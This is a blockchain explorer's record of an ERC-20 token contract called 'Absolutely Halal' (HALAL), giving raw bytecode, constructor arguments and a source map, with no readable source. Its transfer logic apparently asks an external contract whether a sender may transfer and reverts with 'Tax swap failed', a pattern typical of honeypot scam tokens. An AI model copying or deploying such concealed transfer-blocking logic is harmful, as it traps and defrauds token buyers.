3a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6118cc601d83611016565b91506118d782611898565b602082019050919050565b5f6020820190508181035f8301526118f9816118c0565b905091905056fea2646970667358221220994ad84d8cf0bce0136bc9796e57aed45a465f67d3941b0c4055f65b8fc2f55d64736f6c6343000814003300000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000871f930000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000020a57b0120000000000000000000000000000000000000000000000000000000003e5b309000000000000000000000000de171651a492bad4ecbe6f74e580dbc546d053e800000000000000000000000000000000000000000000000000000000000000104162736f6c7574656c792048616c616c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000548414c414c000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100fe575f3560e01c806370a0823111610095578063a457c2d711610064578063a457c2d71461029c578063a9059cbb146102cc578063dd62ed3e146102fc578063f2fde38b1461032c576100fe565b806370a0823114610226578063715018a6146102565780638da5cb5b1461026057806395d89b411461027e576100fe565b806318160ddd116100d157806318160ddd1461018a57806323b872dd146101a8578063313ce567146101d857806339509351146101f6576100fe565b80630485df5314610102578063054da9911461011e57806306fdde031461013c578063095ea7b31461015a575b5f80fd5b61011c60048036038101906101179190610f6d565b610348565b005b6101266103c5565b6040516101339190610ff3565b60405180910390f35b6101446103ea565b6040516101519190611096565b60405180910390f35b610174600480360381019061016f91906110e9565b61047a565b6040516101819190611141565b60405180910390f35b61019261049c565b60405161019f9190611169565b60405180910390f35b6101c260048036038101906101bd9190611182565b6104a5565b6040516101cf9190611141565b60405180910390f35b6101e06104d3565b6040516101ed91906111ed565b60405180910390f35b610210600480360381019061020b91906110e9565b6104db565b60405161021d9190611141565b60405180910390f35b610240600480360381019061023b9190610f6d565b610511565b60405161024d9190611169565b60405180910390f35b61025e610556565b005b610268610569565b6040516102759190611215565b60405180910390f35b610286610591565b6040516102939190611096565b60405180910390f35b6102b660048036038101906102b191906110e9565b610621565b6040516102c39190611141565b60405180910390f35b6102e660048036038101906102e191906110e9565b610696565b6040516102f39190611141565b60405180910390f35b6103166004803603810190610311919061122e565b6106b8565b6040516103239190611169565b60405180910390f35b61034660048036038101906103419190610f6d565b61073a565b005b6103506107bc565b5f61035a33610511565b90506b60ef6b1aba6f07233000000081146103aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103a1906112b6565b60405180910390fd5b6103c133836b60ef6b1aba6f07233000000061083a565b5050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600480546103f990611301565b80601f016020809104026020016040519081016040528092919081815260200182805461042590611301565b80156104705780601f1061044757610100808354040283529160200191610470565b820191905f5260205f20905b81548152906001019060200180831161045357829003601f168201915b5050505050905090565b5f80610484610bed565b9050610491818585610bf4565b600191505092915050565b5f600354905090565b5f806104af610bed565b90506104bc858285610db7565b6104c785858561083a565b60019150509392505050565b5f6012905090565b5f806104e5610bed565b90506105068185856104f785896106b8565b610501919061135e565b610bf4565b600191505092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61055e6107bc565b6105675f610e42565b565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105a090611301565b80601f01602080910402602001604051908101604052809291908181526020018280546105cc90611301565b80156106175780601f106105ee57610100808354040283529160200191610617565b820191905f5260205f20905b8154815290600101906020018083116105fa57829003601f168201915b5050505050905090565b5f8061062b610bed565b90505f61063882866106b8565b90508381101561067d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067490611401565b60405180910390fd5b61068a8286868403610bf4565b60019250505092915050565b5f806106a0610bed565b90506106ad81858561083a565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6107426107bc565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036107b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a79061148f565b60405180910390fd5b6107b981610e42565b50565b6107c4610bed565b73ffffffffffffffffffffffffffffffffffffffff166107e2610569565b73ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f906114f7565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089f90611585565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090d90611613565b60405180910390fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce43c032846040518263ffffffff1660e01b81526004016109709190611215565b602060405180830381865afa15801561098b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109af919061165b565b156109ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e6906116d0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5490611613565b60405180910390fd5b610a68838383610f05565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae29061175e565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bd49190611169565b60405180910390a3610be7848484610f0a565b50505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c59906117ec565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc79061187a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610daa9190611169565b60405180910390a3505050565b5f610dc284846106b8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e3c5781811015610e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e25906118e2565b60405180910390fd5b610e3b8484848403610bf4565b5b50505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f3c82610f13565b9050919050565b610f4c81610f32565b8114610f56575f80fd5b50565b5f81359050610f6781610f43565b92915050565b5f60208284031215610f8257610f81610f0f565b5b5f610f8f84828501610f59565b91505092915050565b5f819050919050565b5f610fbb610fb6610fb184610f13565b610f98565b610f13565b9050919050565b5f610fcc82610fa1565b9050919050565b5f610fdd82610fc2565b9050919050565b610fed81610fd3565b82525050565b5f6020820190506110065f830184610fe4565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611043578082015181840152602081019050611028565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6110688261100c565b6110728185611016565b9350611082818560208601611026565b61108b8161104e565b840191505092915050565b5f6020820190508181035f8301526110ae818461105e565b905092915050565b5f819050919050565b6110c8816110b6565b81146110d2575f80fd5b50565b5f813590506110e3816110bf565b92915050565b5f80604083850312156110ff576110fe610f0f565b5b5f61110c85828601610f59565b925050602061111d858286016110d5565b9150509250929050565b5f8115159050919050565b61113b81611127565b82525050565b5f6020820190506111545f830184611132565b92915050565b611163816110b6565b82525050565b5f60208201905061117c5f83018461115a565b92915050565b5f805f6060848603121561119957611198610f0f565b5b5f6111a686828701610f59565b93505060206111b786828701610f59565b92505060406111c8868287016110d5565b9150509250925092565b5f60ff82169050919050565b6111e7816111d2565b82525050565b5f6020820190506112005f8301846111de565b92915050565b61120f81610f32565b82525050565b5f6020820190506112285f830184611206565b92915050565b5f806040838503121561124457611243610f0f565b5b5f61125185828601610f59565b925050602061126285828601610f59565b9150509250929050565b7f546f6b656e732073656e7420746f206f776e65720000000000000000000000005f82015250565b5f6112a0601483611016565b91506112ab8261126c565b602082019050919050565b5f6020820190508181035f8301526112cd81611294565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061131857607f821691505b60208210810361132b5761132a6112d4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611368826110b6565b9150611373836110b6565b925082820190508082111561138b5761138a611331565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6113eb602583611016565b91506113f682611391565b604082019050919050565b5f6020820190508181035f830152611418816113df565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611479602683611016565b91506114848261141f565b604082019050919050565b5f6020820190508181035f8301526114a68161146d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6114e1602083611016565b91506114ec826114ad565b602082019050919050565b5f6020820190508181035f83015261150e816114d5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61156f602583611016565b915061157a82611515565b604082019050919050565b5f6020820190508181035f83015261159c81611563565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6115fd602383611016565b9150611608826115a3565b604082019050919050565b5f6020820190508181035f83015261162a816115f1565b9050919050565b61163a81611127565b8114611644575f80fd5b50565b5f8151905061165581611631565b92915050565b5f602082840312156116705761166f610f0f565b5b5f61167d84828501611647565b91505092915050565b7f5461782073776170206661696c656400000000000000000000000000000000005f82015250565b5f6116ba600f83611016565b91506116c582611686565b602082019050919050565b5f6020820190508181035f8301526116e7816116ae565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611748602683611016565b9150611753826116ee565b604082019050919050565b5f6020820190508181035f8301526117758161173c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117d6602483611016565b91506117e18261177c565b604082019050919050565b5f6020820190508181035f830152611803816117ca565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611864602283611016565b915061186f8261180a565b604082019050919050565b5f6020820190508181035f83015261189181611858565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6118cc601d83611016565b91506118d782611898565b602082019050919050565b5f6020820190508181035f8301526118f9816118c0565b905091905056fea2646970667358221220994ad84d8cf0bce0136bc9796e57aed45a465f67d3941b0c4055f65b8fc2f55d64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000871f930000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000020a57b0120000000000000000000000000000000000000000000000000000000003e5b309000000000000000000000000de171651a492bad4ecbe6f74e580dbc546d053e800000000000000000000000000000000000000000000000000000000000000104162736f6c7574656c792048616c616c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000548414c414c000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : coin_ (string): Absolutely Halal
Arg [1] : symbol_ (string): HALAL
Arg [2] : gotime (uint256): 8855443
Arg [3] : txpro (uint256): 3
Arg [4] : tradeop (uint256): 8763453458
Arg [5] : jolvar (uint256): 65385225
Arg [6] : _taxdev (address): 0xDe171651a492bad4EcBE6f74E580DbC546D053e8

-----Encoded View---------------
11 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000120
Arg [2] : 0000000000000000000000000000000000000000000000000000000000871f93
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [4] : 000000000000000000000000000000000000000000000000000000020a57b012
Arg [5] : 0000000000000000000000000000000000000000000000000000000003e5b309
Arg [6] : 000000000000000000000000de171651a492bad4ecbe6f74e580dbc546d053e8
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000010
Arg [8] : 4162736f6c7574656c792048616c616c00000000000000000000000000000000
Arg [9] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [10] : 48414c414c000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12796:636:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13193:236;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5385:24;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6141:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7863:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6632:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8072:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6474:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8377:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6803:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1715:103;;;:::i;:::-;;1067:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6360:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8626:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7136:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7392:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1973:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13193:236;953:13;:11;:13::i;:::-;13266:14:::1;13283:21;13293:10;13283:9;:21::i;:::-;13266:38;;12872:20;13323:6;:17;13315:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;13378:42;13388:10;13400;12872:20;13378:9;:42::i;:::-;13255:174;13193:236:::0;:::o;5385:24::-;;;;;;;;;;;;;:::o;6141:100::-;6195:13;6228:5;6221:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6141:100;:::o;7863:201::-;7946:4;7963:13;7979:12;:10;:12::i;:::-;7963:28;;8002:32;8011:5;8018:7;8027:6;8002:8;:32::i;:::-;8052:4;8045:11;;;7863:201;;;;:::o;6632:108::-;6693:7;6720:12;;6713:19;;6632:108;:::o;8072:295::-;8203:4;8220:15;8238:12;:10;:12::i;:::-;8220:30;;8261:38;8277:4;8283:7;8292:6;8261:15;:38::i;:::-;8310:27;8320:4;8326:2;8330:6;8310:9;:27::i;:::-;8355:4;8348:11;;;8072:295;;;;;:::o;6474:93::-;6532:5;6557:2;6550:9;;6474:93;:::o;8377:238::-;8465:4;8482:13;8498:12;:10;:12::i;:::-;8482:28;;8521:64;8530:5;8537:7;8574:10;8546:25;8556:5;8563:7;8546:9;:25::i;:::-;:38;;;;:::i;:::-;8521:8;:64::i;:::-;8603:4;8596:11;;;8377:238;;;;:::o;6803:127::-;6877:7;6904:9;:18;6914:7;6904:18;;;;;;;;;;;;;;;;6897:25;;6803:127;;;:::o;1715:103::-;953:13;:11;:13::i;:::-;1780:30:::1;1807:1;1780:18;:30::i;:::-;1715:103::o:0;1067:87::-;1113:7;1140:6;;;;;;;;;;;1133:13;;1067:87;:::o;6360:104::-;6416:13;6449:7;6442:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6360:104;:::o;8626:436::-;8719:4;8736:13;8752:12;:10;:12::i;:::-;8736:28;;8775:24;8802:25;8812:5;8819:7;8802:9;:25::i;:::-;8775:52;;8866:15;8846:16;:35;;8838:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;8959:60;8968:5;8975:7;9003:15;8984:16;:34;8959:8;:60::i;:::-;9050:4;9043:11;;;;8626:436;;;;:::o;7136:193::-;7215:4;7232:13;7248:12;:10;:12::i;:::-;7232:28;;7271;7281:5;7288:2;7292:6;7271:9;:28::i;:::-;7317:4;7310:11;;;7136:193;;;;:::o;7392:151::-;7481:7;7508:11;:18;7520:5;7508:18;;;;;;;;;;;;;;;:27;7527:7;7508:27;;;;;;;;;;;;;;;;7501:34;;7392:151;;;;:::o;1973:201::-;953:13;:11;:13::i;:::-;2082:1:::1;2062:22;;:8;:22;;::::0;2054:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2138:28;2157:8;2138:18;:28::i;:::-;1973:201:::0;:::o;1232:132::-;1307:12;:10;:12::i;:::-;1296:23;;:7;:5;:7::i;:::-;:23;;;1288:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1232:132::o;9532:981::-;9679:1;9663:18;;:4;:18;;;9655:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9756:1;9742:16;;:2;:16;;;9734:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9818:10;;;;;;;;;;;:22;;;9841:4;9818:28;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9817:29;9809:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;9899:1;9885:16;;:2;:16;;;9877:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9952:38;9973:4;9979:2;9983:6;9952:20;:38::i;:::-;10003:19;10025:9;:15;10035:4;10025:15;;;;;;;;;;;;;;;;10003:37;;10074:6;10059:11;:21;;10051:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;10191:6;10177:11;:20;10159:9;:15;10169:4;10159:15;;;;;;;;;;;;;;;:38;;;;10394:6;10377:9;:13;10387:2;10377:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;10444:2;10429:26;;10438:4;10429:26;;;10448:6;10429:26;;;;;;:::i;:::-;;;;;;;;10468:37;10488:4;10494:2;10498:6;10468:19;:37::i;:::-;9644:869;9532:981;;;:::o;243:98::-;296:7;323:10;316:17;;243:98;:::o;11362:380::-;11515:1;11498:19;;:5;:19;;;11490:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11596:1;11577:21;;:7;:21;;;11569:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11680:6;11650:11;:18;11662:5;11650:18;;;;;;;;;;;;;;;:27;11669:7;11650:27;;;;;;;;;;;;;;;:36;;;;11718:7;11702:32;;11711:5;11702:32;;;11727:6;11702:32;;;;;;:::i;:::-;;;;;;;;11362:380;;;:::o;12033:453::-;12168:24;12195:25;12205:5;12212:7;12195:9;:25::i;:::-;12168:52;;12255:17;12235:16;:37;12231:248;;12317:6;12297:16;:26;;12289:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12401:51;12410:5;12417:7;12445:6;12426:16;:25;12401:8;:51::i;:::-;12231:248;12157:329;12033:453;;;:::o;2334:191::-;2408:16;2427:6;;;;;;;;;;;2408:25;;2453:8;2444:6;;:17;;;;;;;;;;;;;;;;;;2508:8;2477:40;;2498:8;2477:40;;;;;;;;;;;;2397:128;2334:191;:::o;12496:125::-;;;;:::o;12631:124::-;;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:60::-;1204:3;1225:5;1218:12;;1176:60;;;:::o;1242:142::-;1292:9;1325:53;1343:34;1352:24;1370:5;1352:24;:::i;:::-;1343:34;:::i;:::-;1325:53;:::i;:::-;1312:66;;1242:142;;;:::o;1390:126::-;1440:9;1473:37;1504:5;1473:37;:::i;:::-;1460:50;;1390:126;;;:::o;1522:140::-;1586:9;1619:37;1650:5;1619:37;:::i;:::-;1606:50;;1522:140;;;:::o;1668:159::-;1769:51;1814:5;1769:51;:::i;:::-;1764:3;1757:64;1668:159;;:::o;1833:250::-;1940:4;1978:2;1967:9;1963:18;1955:26;;1991:85;2073:1;2062:9;2058:17;2049:6;1991:85;:::i;:::-;1833:250;;;;:::o;2089:99::-;2141:6;2175:5;2169:12;2159:22;;2089:99;;;:::o;2194:169::-;2278:11;2312:6;2307:3;2300:19;2352:4;2347:3;2343:14;2328:29;;2194:169;;;;:::o;2369:246::-;2450:1;2460:113;2474:6;2471:1;2468:13;2460:113;;;2559:1;2554:3;2550:11;2544:18;2540:1;2535:3;2531:11;2524:39;2496:2;2493:1;2489:10;2484:15;;2460:113;;;2607:1;2598:6;2593:3;2589:16;2582:27;2431:184;2369:246;;;:::o;2621:102::-;2662:6;2713:2;2709:7;2704:2;2697:5;2693:14;2689:28;2679:38;;2621:102;;;:::o;2729:377::-;2817:3;2845:39;2878:5;2845:39;:::i;:::-;2900:71;2964:6;2959:3;2900:71;:::i;:::-;2893:78;;2980:65;3038:6;3033:3;3026:4;3019:5;3015:16;2980:65;:::i;:::-;3070:29;3092:6;3070:29;:::i;:::-;3065:3;3061:39;3054:46;;2821:285;2729:377;;;;:::o;3112:313::-;3225:4;3263:2;3252:9;3248:18;3240:26;;3312:9;3306:4;3302:20;3298:1;3287:9;3283:17;3276:47;3340:78;3413:4;3404:6;3340:78;:::i;:::-;3332:86;;3112:313;;;;:::o;3431:77::-;3468:7;3497:5;3486:16;;3431:77;;;:::o;3514:122::-;3587:24;3605:5;3587:24;:::i;:::-;3580:5;3577:35;3567:63;;3626:1;3623;3616:12;3567:63;3514:122;:::o;3642:139::-;3688:5;3726:6;3713:20;3704:29;;3742:33;3769:5;3742:33;:::i;:::-;3642:139;;;;:::o;3787:474::-;3855:6;3863;3912:2;3900:9;3891:7;3887:23;3883:32;3880:119;;;3918:79;;:::i;:::-;3880:119;4038:1;4063:53;4108:7;4099:6;4088:9;4084:22;4063:53;:::i;:::-;4053:63;;4009:117;4165:2;4191:53;4236:7;4227:6;4216:9;4212:22;4191:53;:::i;:::-;4181:63;;4136:118;3787:474;;;;;:::o;4267:90::-;4301:7;4344:5;4337:13;4330:21;4319:32;;4267:90;;;:::o;4363:109::-;4444:21;4459:5;4444:21;:::i;:::-;4439:3;4432:34;4363:109;;:::o;4478:210::-;4565:4;4603:2;4592:9;4588:18;4580:26;;4616:65;4678:1;4667:9;4663:17;4654:6;4616:65;:::i;:::-;4478:210;;;;:::o;4694:118::-;4781:24;4799:5;4781:24;:::i;:::-;4776:3;4769:37;4694:118;;:::o;4818:222::-;4911:4;4949:2;4938:9;4934:18;4926:26;;4962:71;5030:1;5019:9;5015:17;5006:6;4962:71;:::i;:::-;4818:222;;;;:::o;5046:619::-;5123:6;5131;5139;5188:2;5176:9;5167:7;5163:23;5159:32;5156:119;;;5194:79;;:::i;:::-;5156:119;5314:1;5339:53;5384:7;5375:6;5364:9;5360:22;5339:53;:::i;:::-;5329:63;;5285:117;5441:2;5467:53;5512:7;5503:6;5492:9;5488:22;5467:53;:::i;:::-;5457:63;;5412:118;5569:2;5595:53;5640:7;5631:6;5620:9;5616:22;5595:53;:::i;:::-;5585:63;;5540:118;5046:619;;;;;:::o;5671:86::-;5706:7;5746:4;5739:5;5735:16;5724:27;;5671:86;;;:::o;5763:112::-;5846:22;5862:5;5846:22;:::i;:::-;5841:3;5834:35;5763:112;;:::o;5881:214::-;5970:4;6008:2;5997:9;5993:18;5985:26;;6021:67;6085:1;6074:9;6070:17;6061:6;6021:67;:::i;:::-;5881:214;;;;:::o;6101:118::-;6188:24;6206:5;6188:24;:::i;:::-;6183:3;6176:37;6101:118;;:::o;6225:222::-;6318:4;6356:2;6345:9;6341:18;6333:26;;6369:71;6437:1;6426:9;6422:17;6413:6;6369:71;:::i;:::-;6225:222;;;;:::o;6453:474::-;6521:6;6529;6578:2;6566:9;6557:7;6553:23;6549:32;6546:119;;;6584:79;;:::i;:::-;6546:119;6704:1;6729:53;6774:7;6765:6;6754:9;6750:22;6729:53;:::i;:::-;6719:63;;6675:117;6831:2;6857:53;6902:7;6893:6;6882:9;6878:22;6857:53;:::i;:::-;6847:63;;6802:118;6453:474;;;;;:::o;6933:170::-;7073:22;7069:1;7061:6;7057:14;7050:46;6933:170;:::o;7109:366::-;7251:3;7272:67;7336:2;7331:3;7272:67;:::i;:::-;7265:74;;7348:93;7437:3;7348:93;:::i;:::-;7466:2;7461:3;7457:12;7450:19;;7109:366;;;:::o;7481:419::-;7647:4;7685:2;7674:9;7670:18;7662:26;;7734:9;7728:4;7724:20;7720:1;7709:9;7705:17;7698:47;7762:131;7888:4;7762:131;:::i;:::-;7754:139;;7481:419;;;:::o;7906:180::-;7954:77;7951:1;7944:88;8051:4;8048:1;8041:15;8075:4;8072:1;8065:15;8092:320;8136:6;8173:1;8167:4;8163:12;8153:22;;8220:1;8214:4;8210:12;8241:18;8231:81;;8297:4;8289:6;8285:17;8275:27;;8231:81;8359:2;8351:6;8348:14;8328:18;8325:38;8322:84;;8378:18;;:::i;:::-;8322:84;8143:269;8092:320;;;:::o;8418:180::-;8466:77;8463:1;8456:88;8563:4;8560:1;8553:15;8587:4;8584:1;8577:15;8604:191;8644:3;8663:20;8681:1;8663:20;:::i;:::-;8658:25;;8697:20;8715:1;8697:20;:::i;:::-;8692:25;;8740:1;8737;8733:9;8726:16;;8761:3;8758:1;8755:10;8752:36;;;8768:18;;:::i;:::-;8752:36;8604:191;;;;:::o;8801:224::-;8941:34;8937:1;8929:6;8925:14;8918:58;9010:7;9005:2;8997:6;8993:15;8986:32;8801:224;:::o;9031:366::-;9173:3;9194:67;9258:2;9253:3;9194:67;:::i;:::-;9187:74;;9270:93;9359:3;9270:93;:::i;:::-;9388:2;9383:3;9379:12;9372:19;;9031:366;;;:::o;9403:419::-;9569:4;9607:2;9596:9;9592:18;9584:26;;9656:9;9650:4;9646:20;9642:1;9631:9;9627:17;9620:47;9684:131;9810:4;9684:131;:::i;:::-;9676:139;;9403:419;;;:::o;9828:225::-;9968:34;9964:1;9956:6;9952:14;9945:58;10037:8;10032:2;10024:6;10020:15;10013:33;9828:225;:::o;10059:366::-;10201:3;10222:67;10286:2;10281:3;10222:67;:::i;:::-;10215:74;;10298:93;10387:3;10298:93;:::i;:::-;10416:2;10411:3;10407:12;10400:19;;10059:366;;;:::o;10431:419::-;10597:4;10635:2;10624:9;10620:18;10612:26;;10684:9;10678:4;10674:20;10670:1;10659:9;10655:17;10648:47;10712:131;10838:4;10712:131;:::i;:::-;10704:139;;10431:419;;;:::o;10856:182::-;10996:34;10992:1;10984:6;10980:14;10973:58;10856:182;:::o;11044:366::-;11186:3;11207:67;11271:2;11266:3;11207:67;:::i;:::-;11200:74;;11283:93;11372:3;11283:93;:::i;:::-;11401:2;11396:3;11392:12;11385:19;;11044:366;;;:::o;11416:419::-;11582:4;11620:2;11609:9;11605:18;11597:26;;11669:9;11663:4;11659:20;11655:1;11644:9;11640:17;11633:47;11697:131;11823:4;11697:131;:::i;:::-;11689:139;;11416:419;;;:::o;11841:224::-;119